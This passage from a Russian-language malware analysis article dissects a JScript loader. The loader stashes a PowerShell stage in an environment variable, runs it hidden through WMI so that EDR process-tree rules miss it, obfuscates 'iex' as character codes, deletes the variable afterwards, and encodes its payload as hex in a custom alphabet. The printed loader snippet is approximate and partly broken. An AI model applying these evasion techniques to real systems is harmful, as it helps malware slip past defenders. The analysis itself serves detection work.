\u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0441 \u0442\u0430\u043a\u0438\u043c-\u0442\u043e \u0438\u043c\u0435\u043d\u0435\u043c\u00bb. \u041d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e.<\/p>\n
\u0422\u0443\u0442 \u0434\u0432\u0430 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u044d\u0444\u0444\u0435\u043a\u0442\u0430, \u0438 \u043e\u0431\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043f\u0440\u043e\u0442\u0438\u0432 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432.<\/p>\n
\u041f\u0435\u0440\u0432\u044b\u0439 \u2014 \u0442\u0435\u043b\u0430 \u043a\u043e\u0434\u0430 \u043d\u0435\u0442 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435.<\/strong> \u0415\u0441\u043b\u0438 EDR \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 (\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u043d \u0432\u0441\u0435\u0433\u0434\u0430 \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442), \u043e\u043d \u0443\u0432\u0438\u0434\u0438\u0442 \u043a\u043e\u0440\u043e\u0442\u043a\u0443\u044e \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443. \u041d\u0435 \u0443\u0432\u0438\u0434\u0438\u0442 \u043d\u0438 \u0442\u0435\u043b\u043e PowerShell, \u043d\u0438 \u0435\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440, \u043d\u0438 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b \u0432\u0440\u043e\u0434\u0435 DownloadString<\/code> \u0438\u043b\u0438 AppDomain.Load<\/code>. \u0412\u0441\u0451 \u044d\u0442\u043e \u043b\u0435\u0436\u0438\u0442 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u043a\u0443\u0434\u0430 EDR, \u043e\u043f\u044f\u0442\u044c-\u0442\u0430\u043a\u0438, \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u0437\u0430\u0433\u043b\u044f\u0434\u044b\u0432\u0430\u0435\u0442 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u043f\u0438\u0441\u0430\u0442\u044c \u0432 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432.<\/p>\n
\u0412\u0442\u043e\u0440\u043e\u0439 \u2014 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043d\u0435 <\/strong>wscript.exe<\/strong><\/code>.<\/strong> WMI \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441, \u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a WmiPrvSE.exe \u2192 cmd.exe \u2192 powershell.exe<\/code>. \u042d\u0442\u043e \u043b\u043e\u043c\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043f\u0440\u0430\u0432\u0438\u043b \u0432\u0438\u0434\u0430 \u00ab\u0441\u043a\u0440\u0438\u043f\u0442 WSH \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 PowerShell\u00bb \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 wscript<\/code> \u0443\u0436\u0435 \u043d\u0435 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435. \u041e\u043d \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043b \u0432\u044b\u0437\u043e\u0432, \u043d\u043e \u043f\u043e \u0434\u0435\u0440\u0435\u0432\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u043d \u00ab\u043d\u0435 \u043f\u0440\u0438 \u0434\u0435\u043b\u0430\u0445\u00bb. \u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u043b\u043e\u0433 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0432\u0438\u0434\u0438\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 WMI, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u0440\u0430\u0441\u0442\u0451\u0442 cmd.exe<\/code> \u2014 \u043a\u0430\u0440\u0442\u0438\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0435\u0441\u043b\u0438 \u0438 \u0431\u0440\u043e\u0441\u0430\u0435\u0442\u0441\u044f \u0432 \u0433\u043b\u0430\u0437\u0430, \u0442\u043e \u043d\u0435 \u0442\u0435\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0438\u0441\u043a\u0430\u043b\u0438.<\/p>\n
\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e \u043e\u0431\u0451\u0440\u0442\u043a\u0443 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435. \u0422\u0430\u043c \u0432\u0438\u0434\u043d\u043e \u043d\u0435 iex<\/code>, \u0430 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0432\u0438\u0434\u0430 ([char[]](105,101,120)-join'')<\/code>. \u0422\u0440\u0438 \u0447\u0438\u0441\u043b\u0430 \u2014 \u044d\u0442\u043e \u043a\u043e\u0434\u044b ASCII \u0431\u0443\u043a\u0432 i<\/code>, e<\/code>, x<\/code>, \u2014 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0438 \u0441\u043a\u043b\u0435\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u0440\u043e\u043a\u0443. \u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u0442 \u0436\u0435 Invoke-Expression<\/code>, \u043d\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u00abiex\u00bb \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u043d\u0435\u0442. \u041f\u0440\u043e\u0441\u0442\u043e \u043d\u0430 \u0432\u0441\u044f\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043e\u0445\u043e\u0442\u0438\u0442\u0441\u044f \u043f\u043e \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u043c \u0441\u043b\u043e\u0432\u0430\u043c. \u041c\u0435\u043b\u043e\u0447\u044c, \u043d\u043e \u043e\u043d\u0430 \u0437\u043d\u0430\u0447\u0438\u043c\u0430\u044f: \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u0442 \u0442\u0430\u043d\u043a, \u043e\u043d \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u0430\u043c\u044b\u0435 \u0434\u0435\u0448\u0451\u0432\u044b\u0435 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u044b.<\/p>\n
\"\u041d\u0430\u043f\u043e\u043c\u043d\u044e\"<\/p>\n
\u041d\u0430\u043f\u043e\u043c\u043d\u044e<\/figcaption><\/div>\n<\/figure>\n
\u0418 \u0437\u0430\u0447\u0438\u0441\u0442\u043a\u0430. \u0421\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a WMI \u0432\u0435\u0440\u043d\u0443\u043b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u041a \u043c\u043e\u043c\u0435\u043d\u0442\u0443, \u043a\u043e\u0433\u0434\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u043e\u0442\u043a\u0440\u043e\u0435\u0442 \u0436\u0443\u0440\u043d\u0430\u043b \u0438\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432\u0436\u0438\u0432\u0443\u044e, \u0435\u0451 \u0442\u0430\u043c \u0443\u0436\u0435 \u043d\u0435\u0442. \u041e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440 \u2014 \u0435\u0441\u043b\u0438 \u0442\u0430\u043a\u0430\u044f \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044f \u0432\u043e\u043e\u0431\u0449\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043c\u0438\u043c\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043d\u0430\u0431\u043e\u0440\u0430 \u043f\u0440\u0430\u0432\u0438\u043b: \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, \u0438 \u0432\u0441\u0451 \u044d\u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u043d \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043c\u0435\u0441\u0442\u0435, \u043a\u0443\u0434\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0441\u043c\u043e\u0442\u0440\u0438\u0442.<\/p>\n
\u041c\u0430\u043b\u0435\u043d\u044c\u043a\u0430\u044f \u0447\u0435\u0441\u0442\u043d\u0430\u044f \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0430<\/p>\n
\n\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/summary>\n
\n
\u0412 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u0435\u0441\u0442\u044c \u0434\u0435\u0442\u0430\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0432 \u0441\u0442\u0430\u0442\u0438\u043a\u0435 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c. \u0410 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u043a\u0430\u043a \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435. \u041e\u0431\u044a\u0435\u043a\u0442 Win32_ProcessStartup<\/code>, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 (\u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0437\u0430 \u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u043e\u043a\u043d\u0430), \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0432\u044b\u0437\u043e\u0432 Win32_Process.Create<\/code> \u043d\u0435 \u0442\u0443\u0434\u0430, \u043a\u0443\u0434\u0430 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430 \u043c\u0435\u0442\u043e\u0434\u0430, \u2014 \u043e\u043d \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0440\u0430\u0431\u043e\u0447\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e. \u0427\u0442\u043e \u044d\u0442\u043e: \u043e\u0448\u0438\u0431\u043a\u0430 \u0430\u0432\u0442\u043e\u0440\u0430 \u0438\u043b\u0438 \u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u044e\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u0440\u0430\u043d\u0442\u0430\u0439\u043c\u0435 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0442\u043e\u043c\u0443, \u043a\u0430\u043a WMI \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b, \u2014 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0442\u0435\u043a\u0441\u0442\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0435 \u0441\u043a\u0430\u0437\u0430\u0442\u044c. \u041d\u0443\u0436\u0435\u043d \u0437\u0430\u043f\u0443\u0441\u043a \u0432 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435. \u041d\u0430 \u0441\u0430\u043c\u0443 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u0442\u043e \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442, \u043d\u043e \u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u00ab\u0432 \u0441\u0442\u0430\u0442\u0438\u043a\u0435 \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442\u00bb \u0438 \u00ab\u0432 \u0441\u0442\u0430\u0442\u0438\u043a\u0435 \u0432\u0438\u0434\u043d\u043e, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\u00bb \u2014 \u044d\u0442\u043e \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f.<\/p>\n<\/div>\n<\/details>\n
\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u043a\u043e\u0434:<\/p>\n
var shell = new ActiveXObject(\"WScript.Shell\");var env   = shell.Environment(\"USER\");                 \/\/ HKCU\\Environmentenv(\"dSkogdAdfz\") = dSkogfgdAFy;                       \/\/ stage 2 \u2192 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044fvar wmi   = GetObject(\"winmgmts::root\\cimv2\");var si    = wmi.Get(\"Win32ProcessStartup\").SpawnInstance_();si.ShowWindow = 0;                                     \/\/ SW_HIDEwmi.Get(\"Win32_Proces\").Create(dSkoAdAF, si, new ActiveXObject(\"ScriptingDictionary\"));env.Remove(\"dSkogdAFz\");                               \/\/ \u0437\u0430\u0447\u0438\u0441\u0442\u043a\u0430<\/code>
<\/span><\/a><\/div><\/pre>\n
\u0418\u0442\u043e\u0433 \u043f\u043e \u043f\u0435\u0440\u0432\u043e\u043c\u0443 \u0441\u043b\u043e\u044e: \u0444\u0430\u0439\u043b \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0442\u044b\u0441\u044f\u0447\u0430 \u0441\u0442\u0440\u043e\u043a \u0431\u0435\u0441\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0430 \u043f\u043e \u0444\u0430\u043a\u0442\u0443 \u044d\u0442\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u2014 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c, \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c, \u043f\u043e\u0434\u0447\u0438\u0441\u0442\u0438\u0442\u044c. \u0412\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 \u0448\u0443\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438 \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a. \u0414\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0443\u0436\u0435 \u043d\u0435 JScript, \u0430 \u0442\u043e, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 JScript \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u043b \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f.<\/p>\n
\u0421\u043b\u043e\u0439 2. PowerShell, \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u043f\u043e \u043a\u0443\u0441\u043e\u0447\u043a\u0430\u043c<\/h2>\n
\u0415\u0441\u043b\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u2014 \u0430 \u044d\u0442\u043e, \u043d\u0430\u043f\u043e\u043c\u043d\u044e, \u043e\u043a\u043d\u043e \u0434\u043b\u0438\u043d\u043e\u0439 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434 \u2014 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0442\u044b\u0441\u044f\u0447 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 PowerShell. \u041d\u0435 Base64, \u043d\u0435 hex \u0432 \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u043e\u043c \u0432\u0438\u0434\u0435, \u0430 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435\u0435 \u043d\u0430 \u043c\u0435\u0448\u0430\u043d\u0438\u043d\u0443 \u0438\u0437 \u0431\u0443\u043a\u0432: fZFAYwSiJxzymLlj<\/code> \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435, DYM9KF2x68ZT3cw<\/code> \u0432 \u0434\u0440\u0443\u0433\u043e\u043c, \u0438 \u043c\u0435\u0436\u0434\u0443 \u043d\u0438\u043c\u0438 \u2014 \u0442\u0440\u0438 \u0434\u043b\u0438\u043d\u043d\u044b\u0445 \u0431\u043b\u043e\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u043a \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0438\u0437 \u0431\u0443\u043a\u0432 \u0430\u043b\u0444\u0430\u0432\u0438\u0442\u0430.<\/p>\n
\u041f\u0440\u0438 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u043c \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0438 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442. \u042d\u0442\u043e hex. \u0421\u0430\u043c\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 hex, \u043d\u043e \u0441 \u0438\u0437\u044e\u043c\u0438\u043d\u043a\u043e\u0439: \u0443 \u043d\u0435\u0433\u043e \u0430\u043b\u0444\u0430\u0432\u0438\u0442 \u0437\u0430\u043c\u0435\u043d\u0451\u043d \u043d\u0430 \u0441\u0432\u043e\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439.<\/p>\n
\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 hex \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0438\u043c\u0432\u043e\u043b\u044b 0\u20139<\/code> \u0438 a\u2013f<\/code> \u2014 \u0432\u0441\u0435\u0433\u043e 16 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u043a\u0430\u0436\u0434\u044b\u0439 \u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0443 \u0431\u0430\u0439\u0442\u0430. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u0432\u0437\u044f\u043b \u0442\u0443 \u0436\u0435 \u0438\u0434\u0435\u044e, \u043d\u043e \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u043b \u0432\u043c\u0435\u0441\u0442\u043e \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043b\u0444\u0430\u0432\u0438\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 \u0438\u0437 16 \u0431\u0443\u043a\u0432: fZFAYwSiJxzymLlj<\/code>. \u041f\u0435\u0440\u0432\u0430\u044f \u0431\u0443\u043a\u0432\u0430 \u2014 \u043d\u043e\u043b\u044c, \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u0435\u0434\u0438\u043d\u0438\u0446\u0430, \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435 \u0434\u043e \u043f\u044f\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u043e\u0439. \u0421 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438 \u044d\u0442\u043e \u0440\u043e\u0432\u043d\u043e \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435, \u0447\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u044b\u0439 hex, \u2014 \u043f\u0440\u043e\u0441\u0442\u043e \u0433\u043b\u0430\u0437\u0430\u043c\u0438 \u043d\u0435 \u0443\u0437\u043d\u0430\u0451\u0442\u0441\u044f. \u0421\u0442\u0440\u043e\u043a\u0430 fZ<\/code> \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u043d\u043e\u043b\u044c, \u043e\u0434\u0438\u043d\u00bb \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0431\u0430\u0439\u0442\u0443 0x01<\/code> \u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u043d\u0430\u0434\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0434\u043e\u0433\u0430\u0434\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u0434 \u0442\u043e\u0431\u043e\u0439 hex. <\/p>\n
\u041c\u043e\u0436\u0435\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432\u043e\u043f\u0440\u043e\u0441, \u0430 \u043a\u0430\u043a \u0436\u0435 \u0434\u043e\u0433\u0430\u0434\u0430\u0442\u044c\u0441\u044f? \u0410 \u0432\u043e\u0442 \u0442\u0443\u0442 \u0443\u0436\u0435 \u0438 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0442\u0430 \u0441\u0430\u043c\u0430\u044f \u0440\u0443\u0442\u0438\u043d\u0430 \u0438 \u0441\u0435\u0440\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u0447\u0443\u0436\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0431\u0438\u043d\u0430\u0440\u0435\u0439, \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0438 \u043a\u043e\u0434\u0430. \u041c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u0435\u0437\u0442\u0438 \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e 